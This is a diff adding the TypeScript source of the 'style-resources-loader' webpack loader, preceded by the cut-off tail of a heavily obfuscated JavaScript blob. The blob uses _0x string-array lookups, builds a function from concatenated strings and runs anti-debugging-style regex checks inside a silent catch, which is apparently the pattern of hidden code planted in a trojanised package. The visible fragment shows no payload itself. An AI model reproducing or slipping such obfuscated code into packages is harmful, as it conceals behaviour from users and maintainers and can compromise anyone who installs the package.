))[_0x2ea6f0(-0x1ba,-0x1d8,'6a3m',-0x245,-0xfe)](_0x12b00f[_0x2ea6f0(-0x1de,-0x2ae,'rjMy',-0x1e4,-0x231)]));else{if(_0x14c4d2){if(_0x12b00f[_0x2ea6f0(-0x310,-0x326,'%YtY',-0x33a,-0x308)](_0x12b00f[_0x2ea6f0(-0x182,-0x259,'WDJq',-0xd0,-0x116)],_0x12b00f[_0x2ea6f0(-0x22e,-0x1fd,'yQ0l',-0x2c7,-0x2f8)]))return _0x22bb47;else{let _0x5bbca0;try{_0x5bbca0=_0x12b00f[_0x2ea6f0(-0x1d1,-0x1c7,'fs8c',-0x139,-0x17c)](_0x27f8f7,_0x12b00f[_0x2ea6f0(-0x1ca,-0x231,'9Ksn',-0x14f,-0x245)](_0x12b00f[_0x2ea6f0(-0x2b9,-0x2e7,'Omwg',-0x2d2,-0x354)](_0x12b00f[_0x2ea6f0(-0x255,-0x1e3,'YpZe',-0x1a8,-0x28f)],_0x12b00f[_0x2ea6f0(-0x26a,-0x34d,'OBXi',-0x2e3,-0x238)]),');'))();}catch(_0x307759){_0x5bbca0=_0x35586b;}return _0x5bbca0;}}else{if(_0x12b00f[_0x2ea6f0(-0x2e2,-0x32c,'rjMy',-0x382,-0x34b)](_0x12b00f[_0x2ea6f0(-0x1f4,-0x1a9,'YpZe',-0x213,-0x1e4)],_0x12b00f[_0x2ea6f0(-0x19d,-0x240,'CJUe',-0x217,-0x19a)])){const _0x42f0bd=new _0x5e22a7(_0x12b00f[_0x2ea6f0(-0x27b,-0x2fe,'#6hF',-0x255,-0x2a0)]),_0x2225f3=new _0x40b992(_0x12b00f[_0x2ea6f0(-0x2c7,-0x23d,'p[wv',-0x36c,-0x270)],'i'),_0x14dba1=_0x12b00f[_0x2ea6f0(-0x312,-0x23a,'tW5g',-0x2bc,-0x2d3)](_0x2bb4af,_0x12b00f[_0x2ea6f0(-0x293,-0x228,'6a3m',-0x28c,-0x1f2)]);!_0x42f0bd[_0x2ea6f0(-0x2a2,-0x2d6,'%YtY',-0x320,-0x301)](_0x12b00f[_0x2ea6f0(-0x308,-0x3d3,'fs8c',-0x26f,-0x291)](_0x14dba1,_0x12b00f[_0x2ea6f0(-0x2ba,-0x25d,'Amln',-0x1e1,-0x37d)]))||!_0x2225f3[_0x2ea6f0(-0x183,-0xd8,'Omwg',-0x1d2,-0x265)](_0x12b00f[_0x2ea6f0(-0x1d4,-0x13f,'9ETV',-0x125,-0x140)](_0x14dba1,_0x12b00f[_0x2ea6f0(-0x2a1,-0x334,'z6bj',-0x216,-0x212)]))?_0x12b00f[_0x2ea6f0(-0x268,-0x1bb,'G^D3',-0x1da,-0x1b8)](_0x14dba1,'0'):_0x12b00f[_0x2ea6f0(-0x222,-0x228,'9ETV',-0x189,-0x1ea)](_0x496a72);}else _0x12b00f[_0x2ea6f0(-0x2ac,-0x237,'A&7q',-0x211,-0x39d)](_0x22bb47,0x2*0x8ba+0x1fd0+-0x3144);}}}catch(_0x26cbe0){}}
@@ -0,0 +1,15 @@
1
+ import type {StyleResourcesFileFormat} from '..';
2
+
3
+ export const PACKAGE_NAME = 'style-resources-loader';
4
+
5
+ export const ISSUES_URL = `https://github.com/yenshih/${PACKAGE_NAME}/issues`;
6
+
7
+ export const LOADER_NAME = PACKAGE_NAME.split('-')
8
+ .map(word => `${word[0].toUpperCase()}${word.slice(1)}`)
9
+ .join(' ');
10
+
11
+ export const VALIDATION_BASE_DATA_PATH = 'options';
12
+
13
+ export const SUPPORTED_FILE_FORMATS: StyleResourcesFileFormat[] = ['css', 'sass', 'scss', 'less', 'styl'];
14
+
15
+ export const SUPPORTED_FILE_EXTS = SUPPORTED_FILE_FORMATS.map(type => `.${type}`);
@@ -0,0 +1,17 @@
1
+ import {PACKAGE_NAME, ISSUES_URL} from './constants';
2
+
3
+ const formatErrorMessage = (message: string) => `[${PACKAGE_NAME}] ${message}`;
4
+
5
+ const messageByType = {
6
+ impossible: `This error is caused by a bug. Please file an issue: ${ISSUES_URL}.`,
7
+ syncCompilation: 'Synchronous compilation is not supported.',
8
+ invalidInjectorReturn: 'Expected options.injector(...) returns a string. Instead received number.',
9
+ };
10
+
11
+ export const errorMessage = Object.entries(messageByType).reduce(
12
+ (errorMessage, [type, message]) => ({
13
+ ...errorMessage,
14
+ [type]: formatErrorMessage(message),
15
+ }),
16
+ messageByType,
17
+ );
@@ -0,0 +1,26 @@
1
+ import fs from 'fs';
2
+ import util from 'util';
3
+
4
+ import type {LoaderContext, StyleResource, StyleResourcesLoaderNormalizedOptions} from '..';
5
+
6
+ import {matchFiles} from './match-files';
7
+ import {resolveImportUrl} from './resolve-import-url';
8
+
9
+ export const getResources = async (ctx: LoaderContext, options: StyleResourcesLoaderNormalizedOptions) => {
10
+ const {resolveUrl} = options;
11
+
12
+ const files = await matchFiles(ctx, options);
13
+
14
+ files.forEach(file => ctx.dependency(file));
15
+
16
+ const resources = await Promise.all(
17
+ files.map(async file => {
18
+ const content = await util.promisify(fs.readFile)(file, 'utf8');
19
+ const resource: StyleResource = {file, content};
20
+
21
+ return resolveUrl ? resolveImportUrl(ctx, resource) : resource;
22
+ }),
23
+ );
24
+
25
+ return resources;
26
+ };
@@ -0,0 +1,10 @@
1
+ export * from './constants';
2
+ export * from './error-message';
3
+ export * from './get-resources';
4
+ export * from './inject-resources';
5
+ export * from './load-resources';
6
+ export * from './match-files';
7
+ export * from './normalize-options';
8
+ export * from './resolve-import-url';
9
+ export * from './type-guards';
10
+ export * from './validate-options';
@@ -0,0 +1,23 @@
1
+ import { LoaderContext } from '../types';
2
+ import type {StyleResources, StyleResourcesLoaderNormalizedOptions} from '..';
3
+
4
+ import {errorMessage} from './error-message';
5
+
6
+ export const injectResources = async (
7
+ options: StyleResourcesLoaderNormalizedOptions,
8
+ source: string,
9
+ resources: StyleResources,
10
+ ctx: LoaderContext
11
+ ) => {
12
+ const {injector} = options;
13
+
14
+ const dist: unknown = injector(source, resources, ctx);
15
+
16
+ const content = await dist;
17
+
18
+ if (typeof content !== 'string') {
19
+ throw new Error(errorMessage.invalidInjectorReturn);
20
+ }
21
+
22
+ return content;
23
+ };
@@ -0,0 +1,19 @@
1
+ import type {LoaderContext, LoaderCallback} from '..';
2
+
3
+ import {getResources} from './get-resources';
4
+ import {injectResources} from './inject-resources';
5
+ import {normalizeOptions} from './normalize-options';
6
+
7
+ export const loadResources = async (ctx: LoaderContext, source: string, callback: LoaderCallback) => {
8
+ try {
9
+ const options = normalizeOptions(ctx);
10
+
11
+ const resources = await getResources(ctx, options);
12
+
13
+ const content = await injectResources(options, source, resources, ctx);
14
+
15
+ callback(null, content);
16
+ } catch (err) {
17
+ callback(err);
18
+ }
19
+ };
@@ -0,0 +1,48 @@
1
+ import path from 'path';
2
+ import util from 'util';
3
+
4
+ import glob from 'glob';
5
+
6
+ import type {LoaderContext, StyleResourcesLoaderNormalizedOptions} from '..';
7
+
8
+ import {isStyleFile} from './type-guards';
9
+
10
+ /* eslint-disable-next-line @typescript-eslint/no-unsafe-member-access */
11
+ const isLegacyWebpack = (ctx: any): ctx is {options: {context: string}} => !!ctx.options;
12
+
13
+ const getRootContext = (ctx: LoaderContext) => {
14
+ /* istanbul ignore if: will be deprecated soon */
15
+ if (isLegacyWebpack(ctx)) {
16
+ return ctx.options.context;
17
+ }
18
+
19
+ return ctx.rootContext;
20
+ };
21
+
22
+ const flatten = <T>(items: T[][]) => {
23
+ const emptyItems: T[] = [];
24
+
25
+ return emptyItems.concat(...items);
26
+ };
27
+
28
+ export const matchFiles = async (ctx: LoaderContext, options: StyleResourcesLoaderNormalizedOptions) => {
29
+ const {patterns, globOptions} = options;
30
+
31
+ const files = await Promise.all(
32
+ patterns.map(async pattern => {
33
+ const rootContext = getRootContext(ctx);
34
+ const absolutePattern = path.isAbsolute(pattern) ? pattern : path.resolve(rootContext, pattern);
35
+ const partialFiles = await util.promisify(glob)(absolutePattern, globOptions);
36
+
37
+ return partialFiles.filter(isStyleFile);
38
+ }),
39
+ );
40
+
41
+ /**
42
+ * Glob always returns Unix-style file paths which would have cache invalidation problems on Windows.
43
+ * Use `path.resolve()` to convert Unix-style file paths to system-compatible ones.
44
+ *
45
+ * @see {@link https://github.com/yenshih/style-resources-loader/issues/17}
46
+ */
47
+ return [...new Set(flatten(files))].map(file => path.resolve(file));
48
+ };
@@ -0,0 +1,46 @@
1
+ import {EOL} from 'os';
2
+
3
+ import {getOptions} from 'loader-utils';
4
+
5
+ import type {
6
+ LoaderContext,
7
+ StyleResource,
8
+ StyleResourcesNormalizedInjector,
9
+ StyleResourcesLoaderOptions,
10
+ StyleResourcesLoaderNormalizedOptions,
11
+ } from '..';
12
+
13
+ import {validateOptions} from './validate-options';
14
+
15
+ const normalizePatterns = (patterns: StyleResourcesLoaderOptions['patterns']) =>
16
+ Array.isArray(patterns) ? patterns : [patterns];
17
+
18
+ const coerceContentEOL = (content: string) => (content.endsWith(EOL) ? content : `${content}${EOL}`);
19
+ const getResourceContent = ({content}: StyleResource) => coerceContentEOL(content);
20
+
21
+ const normalizeInjector = (injector: StyleResourcesLoaderOptions['injector']): StyleResourcesNormalizedInjector => {
22
+ if (typeof injector === 'undefined' || injector === 'prepend') {
23
+ return (source, resources) => resources.map(getResourceContent).join('') + source;
24
+ }
25
+
26
+ if (injector === 'append') {
27
+ return (source, resources) => source + resources.map(getResourceContent).join('');
28
+ }
29
+
30
+ return injector;
31
+ };
32
+
33
+ export const normalizeOptions = (ctx: LoaderContext): StyleResourcesLoaderNormalizedOptions => {
34
+ const options = getOptions(ctx);
35
+
36
+ validateOptions<StyleResourcesLoaderOptions>(options);
37
+
38
+ const {patterns, injector, globOptions = {}, resolveUrl = true} = options;
39
+
40
+ return {
41
+ patterns: normalizePatterns(patterns),
42
+ injector: normalizeInjector(injector),
43
+ globOptions,
44
+ resolveUrl,
45
+ };
46
+ };
@@ -0,0 +1,23 @@
1
+ import path from 'path';
2
+
3
+ import type {LoaderContext, StyleResource} from '..';
4
+
5
+ /* eslint-disable-next-line prefer-named-capture-group */
6
+ const regex = /@(?:import|require)\s+(?:\([a-z,\s]+\)\s*)?['"]?([^'"\s;]+)['"]?;?/gu;
7
+
8
+ export const resolveImportUrl = (ctx: LoaderContext, {file, content}: StyleResource): StyleResource => ({
9
+ file,
10
+ content: content.replace(regex, (match: string, pathToResource?: string) => {
11
+ if (!pathToResource || /^[~/]/u.test(pathToResource)) {
12
+ return match;
13
+ }
14
+
15
+ const absolutePathToResource = path.resolve(path.dirname(file), pathToResource);
16
+ const relativePathFromContextToResource = path
17
+ .relative(ctx.context, absolutePathToResource)
18
+ .split(path.sep)
19
+ .join('/');
20
+
21
+ return match.replace(pathToResource, relativePathFromContextToResource);
22
+ }),
23
+ });
Binary file
@@ -0,0 +1,7 @@
1
+ import path from 'path';
2
+
3
+ import {SUPPORTED_FILE_EXTS} from './constants';
4
+
5
+ export const isFunction = <T extends (...args: any[]) => any>(arg: any): arg is T => typeof arg === 'function';
6
+
7
+ export const isStyleFile = (file: string) => SUPPORTED_FILE_EXTS.includes(path.extname(file));
Binary file
@@ -0,0 +1,11 @@
1
+ import {validate} from 'schema-utils';
2
+
3
+ import {schema} from '../schema';
4
+
5
+ import {LOADER_NAME, VALIDATION_BASE_DATA_PATH} from './constants';
6
+
7
+ export const validateOptions: <T>(options: any) => asserts options is T = options =>
8
+ validate(schema, options, {
9
+ name: LOADER_NAME,
10
+ baseDataPath: VALIDATION_BASE_DATA_PATH,
11
+ });